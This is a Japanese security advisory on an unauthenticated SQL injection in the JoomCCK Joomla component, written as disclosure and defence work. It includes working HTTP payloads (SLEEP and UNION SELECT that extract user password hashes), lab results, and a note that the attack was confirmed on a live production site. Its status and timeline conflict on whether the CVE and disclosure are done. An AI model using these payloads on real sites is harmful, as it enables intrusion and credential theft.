
CVE-2026-49048 — JoomCCK 6.4.0 未認証SQLインジェクション (CVSS 9.8)
CVE: CVE-2026-49048
ステータス: 公開開示。Joomla Security Strike Team (JSST) へ報告済み — チケット #282420。
| 項目 | 値 |
|---|---|
| アドバイザリID | JOOMCCK-2026-001 |
| CVE | CVE-2026-49048 |
| 製品 | JoomCCK (com_joomcck) — Joomla向けコンテンツ構築キット |
| ベンダー | JoomCoder — https://www.joomcoder.com |
| 影響を受けるバージョン | 6.4.0 (発見時点の最新版。以前の6.xも影響を受けると推定) |
| 修正バージョン | 執筆時点ではなし |
| 種類 | 認可の欠如 (CWE-862) を経由したSQLインジェクション (CWE-89) |
| 必要な認証 | なし — 未認証、認証前 |
| 深刻度 | Critical — CVSS 3.1 基本スコア 9.8 |
| CVSSベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 発見者 | Kamil Soltanov |
| 連絡先 | [email protected] |
| 発見日 | 2026-06-22 |
Joomla 4/5/6向けコンポーネント JoomCCK は、ユーザーが指定した tag パラメータをエスケープやパラメータ化を行わずに直接SQLへ連結するフロントエンドコントローラタスク (task=tags.save) を公開しています。このコンポーネント独自のMVCディスパッチャは CSRFトークンチェックもアクセス制御チェックも一切行わない ため、完全に 未認証のリモート攻撃者 がこのインジェクションに到達できます。
悪用に成功すると、UNIONベースおよび時間ベースのブラインドSQLインジェクションを通じて、#__users のパスワードハッシュを含むJoomlaデータベース全体への読み取りアクセスが可能となり、サイト全体の侵害 につながります。
libraries/mint/mvc/controller/base.php — MControllerBase::execute():
public function execute($task)
{
$this->task = $task;
$task = !is_null($task) ? strtolower($task) : '';
$doTask = $this->taskMap[$task];
...
return $this->$doTask(); // Invoked with no checkToken(), no authorise()
}
同じクラスの authorise() メソッドは何もしない(no-op)で、無条件に true を返します。
エントリポイント components/com_joomcck/joomcck.php は execute(input->get('task')) をログイン、トークン、ACL ゲートなしで呼び出します → すべての公開コントローラメソッドが認証不要のタスクとなります。
tags.save における SQL インジェクション (CWE-89)components/com_joomcck/models/tags.php — _saveTag():
$tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes
$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE
$exist_item = $this->_getList($query);
// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE
Joomla の STRING 入力フィルターは HTML タグを除去しますが、" はそのまま通過させます — これはここで SQL 文字列の区切り文字として使われているのと同じ文字です。引用符で囲まれたリテラルから抜け出すことで、任意の SQL を注入できます。
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
期待: 応答が5秒以上遅延する(一致した行ごと)。
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
完全なPoCコードと取得した証拠の記録は poc/ にあります。
主なラボ結果:
ペイロード (tag=) | 結果 |
|---|---|
cars (良性) | 1行返却 — 正常 |
zzz" OR "1"="1 | " がエスケープされず → 全行返却 (インジェクションを確認) |
zzz" UNION SELECT id,username,password FROM jos_users-- - | 管理者パスワードハッシュを窃取 |
zzz" OR SLEEP(3)-- - | 応答が 9.0 秒 遅延 (3行 × 3秒) |
ラボハーネスは、実際の
Joomla\Input\Input::getString()と、稼働中の MariaDB 11.8 インスタンスに対する逐語的な_saveTag()クエリを使用しています。
未認証のリモート攻撃者が以下を実行できます:
UPDATE を介して #__js_res_tags の行を 変更task=tags.delete および task=records.copy と組み合わせる (これらも未認証 — 同じディスパッチャの欠陥)同じディスパッチャの欠陥により、追加の未認証タスクが露出します:
| タスク | 影響 |
|---|---|
tags.delete | 認証なしで任意のタグを削除 |
records.copy | 認証なしで任意のレコードを複製 |
ajax.category_records | カテゴリ別にレコードを列挙 |
ajax.tags_list | すべてのタグを一覧表示 |
ajax.users_filter | ユーザー名を列挙 |
ajax.loadfieldparams | フィールド設定を開示 |
注: 多くの records.* タスクは内部的に _checkAccess() を介して ACL を適用しており、影響を受けません。
1. すべてのクエリをパラメータ化する (Joomla クエリビルダー):
$db = $this->getDatabase();
$tag = $app->input->getString('tag');
// SELECT
$query = $db->getQuery(true)
->select('a.*')
->from($db->quoteName('#__js_res_tags', 'a'))
->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));
// UPDATE
$upd = $db->getQuery(true)
->update($db->quoteName('#__js_res_tags'))
->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
->where($db->quoteName('id') . ' = ' . (int) $id);
2. ディスパッチャーで認可を強制する — 状態を変更するすべてのタスクの前に Session::checkToken() と ACL チェック(Factory::getApplication()->getIdentity()->authorise(...))を追加し、files.upload にすでに存在する保護を踏襲します。
| 日付 | 出来事 |
|---|---|
| 2026-06-22 | ローカルラボの PoC により脆弱性を発見・検証 |
| 2026-06-22 | アドバイザリを作成し、Joomla Security Strike Team(JSST)および VEL に報告 |
| 2026-06-23 | JSST が受領を確認 — David Jardin、チケット #282420。ベンダー(JoomCoder)との調整は JSST 経由 |
| 2026-06-25 | 本番 Joomla サイトでの実環境攻撃を確認: SLEEP(5) → 115 秒の応答、UNION で MySQL エラー 1222(非破壊的、データ流出なし) |
| 未定 | ベンダーパッチ |
| 未定 | CVE の割り当て |
| 未定 | 公開開示(90 日間の協調開示期間) |
独立系セキュリティ研究者。
連絡先: [email protected]